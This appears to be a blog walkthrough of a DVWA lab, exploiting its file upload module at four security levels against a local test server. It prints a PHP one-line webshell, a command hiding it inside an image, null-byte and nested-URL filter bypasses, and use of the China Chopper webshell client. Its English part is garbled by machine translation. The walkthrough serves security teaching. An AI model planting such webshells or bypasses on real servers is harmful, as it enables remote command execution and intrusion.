Kali penetration testing of DVWA Series 10 - File Upload (file upload)

A, File Upload (file upload)

1, file upload principle

       File Upload, namely file upload vulnerability. Usually due to the type of the uploaded file, there is no strict content filtering, inspection, so that the attacker can get access to the server through webshell upload Trojans, so the file upload vulnerability harm is often devastating. Simply put, is that users either directly or through a variety of ways to bypass the webshell uploaded to the server and then use execution.

2, file upload vulnerability prerequisite

  1. You can upload Trojan
  2. Upload Trojan can perform
  3. Clear path after uploading

3, in a word Trojan

<? Php @eval ($ _ POST [ 'cmd']);?> // cmd quotes may be omitted

4, file upload vulnerability ideas

4.1 write a word Trojan

4.2 Picture Leonard Productions

Method one: find a picture, use Notepad to open, add a sentence at the end of the Trojan location

Method Two: Use the cmd command line

copy 1.jpg/b+simple.php/a 2.jpg

00 cut-off of 4.3%

When the server's PHP version 5.3.4 is lower than when using 00% cut-off, such as: simple.php% 00.png. When performing filename parsing content it might later drop 00%.

Second, the experimental environment

1, the server: Windows Server 2003, IP is 192.168.247.129

2, the test machine: Win 10, open proxy

3, packet capture tool: BurpSuite

4, website management software: Cknife (Chinese chopper)

Third, the experimental procedures

Windows

Security Level: LOW

Source code analysis

  1. DVWA_WEB_PAGE_TO_ROOT is the root of the site. No filtering, you can upload any file.
  2. basename(path,suffix) 函数返回路径中的文件名部分。Path是必须参数,规定要检查的路径;suffix是可选参数,规定文件的扩展名,如果文件有 suffix,则不会输出这个扩展名;
  3. move_uploaded_file() 函数将上传的文件移动到新位置。若成功,则返回 true,否则返回 false。
  4. $_FILES["file"]["name"] - 被上传文件的名称;$_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称。
  5. 服务器对用户上传的文件类型、内容没有做筛选和检查;生成上传路径后,服务器会检查文件是否上传成功。

1、上传一句话木马(simple.php)

2、上传simiple.php成功后,提示../../hackable/uploads/simiple.php succesfully uploaded!

木马上传路径:http://192.168.247.129/dvwa/hackable/uploads/simple.php

3、启用中国菜刀查询,获取webshell权限

3.1 添加一个新shell

3.2 编辑shell

菜刀通过向服务器发送包含cmd参数的POST请求,在服务器上执行任意命令,获取webshell权限。

3.3 查看shell

3.4 模拟终端

在模拟终端进行信息查询

安全级别:Medium

源码分析

这里采用白名单过滤,只允许上传文件类型为 image/jpeg 或者 image/png 以及文件大小小于100000字节(约为97.6KB)。

1、创建一句话木马(simple.png)

2、上传simple.png文件,获取文件上传路径

木马上传路径:http://192.168.247.129/dvwa/hackable/uploads/simple.png

3、启用Cknife查询,获取webshell权限失败

        虽然成功上传了文件,但是并不能成功获取webshell权限。中国菜刀的原理,是向上传文件发送包含cmd参数的POST请求,通过控制cmd参数来执行不同的命令。而这里服务器将木马文件解析成了图片文件,因此向其发送POST请求时,服务器只会返回这个“图片”文件,并不会执行响应命令。

方法一:组合拳(文件包含+文件上传) 

           如何让服务器将图片文件解析为php文件呢?我们可以借助文件包含漏洞来获取webshell权限(不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。)

 

在中国菜刀添加如下的文件路径

http://192.168.247.129/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.247.129/dvwa/vulnerabilities/uploads/simple.php(此时安全等级为Medium,文件包含中过滤了http://,所以采用hthttp://tp://嵌套绕过。)

平台问题,有可能失败(原理正确)

方法二:BurpSuite抓包修改content-type

1)上传木马文件simple.png,抓包修改后缀名为simple.php,并forword

2)查看上传结果(上传成功)

木马上传路径:http://192.168.247.129/dvwa/hackable/uploads/simple.php

3)启用Cknife查询,获取webshell权限

方法三:%00截断绕过

将文件名命名为simple.php%00.png,在进行文件名解析时服务器会将%00后面的内容丢弃。(仅限于php版本小于5.3.4的版本)

1)创建simple.php%00.png文件

2)上传simple.php%00.png文件,抓包查看文件类型,forword

3)查看上传结果(上传成功)

木马上传路径:http://192.168.247.129/dvwa/hackable/uploads/simple.php%00.png

4)启用Cknife添加如下路径,获取webshell权限

 

方法四:系统本身存在解析漏洞

有的系统会将带有木马文件(一句话木马)的图片解析为php文件来执行。

安全级别:High

源码分析

  1. substr(string,start,length):返回字符串的一部分。
  2. strrpos():查找第二个参数在第一个参数中最后一次出现的位置。如果没有找到字符串,则返回false;可选参数start,规定在何处开始搜索。
  3. $uploaded_ext:等于文件的后缀名
  4. getimagesize(string filename):函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
  5. getimagesize():函数限制了上传文件的文件头(限制了文件的大小及图片尺寸)。

High安全等级仍然采用白名单过滤,只允许上传的文件后缀名为jpg、jpeg、png且文件大小小于100000字节。

1、以记事本的方式打开1.png,在末尾添加一句话木马。

2、上传图片木马1.png

木马上传路径:http://192.168.247.129/dvwa/vulnerabilities/fi/?page=file:///C:\Users\lenovo\Desktop\1.png

3、启用中国菜刀查询如下路径,获取webshell权限

安全级别:Impossible

源码分析

  1. uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。由于基于系统时间,通过该函数生成的 ID 不是最佳的。如需生成绝对唯一的 ID,需使用 md5() 函数。
  2. ini_get — 获取一个配置选项的值
  3. upload_tmp_dir上传文件的临时目录
  4. sys_get_temp_dir — 返回用于临时文件的目录
  5. DIRECTORY_SEPARATOR是一个返回跟操作系统相关的路径分隔符内置命令,在windows上返回\,而在linux或者类unix上返回/
  6. imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像(imagecreatefrom*,会检查图片规范,验证图片合法性,以此抵御图片中含有恶意 php 代码的攻击。)
  7. imagejpeg(a,b,c) 从 image 图像以 b为文件名创建一个 JPEG 图像,c为文件质量1-100,默认约为75。
  8. PHP getcwd() 函数获取当前工作目录:
  9. file_exists() 函数检查文件或目录是否存在。
  10. unlink() 函数删除文件。

         impossible级别的代码对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。


Linux

安全级别:LOW

源码分析

  1. 服务器对上传文件的类型、内容没有做任何的检查、过滤
  2. 生成上传路径后,服务器会检查是否上传成功并返回相应提示信息

安全级别:Medium

源码分析

  1. 限制了文件类型必须是jpeg或者png(白名单机制)
  2. 限制了文件大小必须小于100000字节

安全级别:High

源码分析

          其过滤机制为判断上传的文件后缀名是否为jpg/JPG/jpeg/JPEG等,可通过BurpSuite抓包,在文件名后面添加jpg/JPG/jpeg/JPEG后缀名即可绕过;也可通过%00截断绕过。

Guess you like

Origin blog.csdn.net/weixin_43625577/article/details/90110728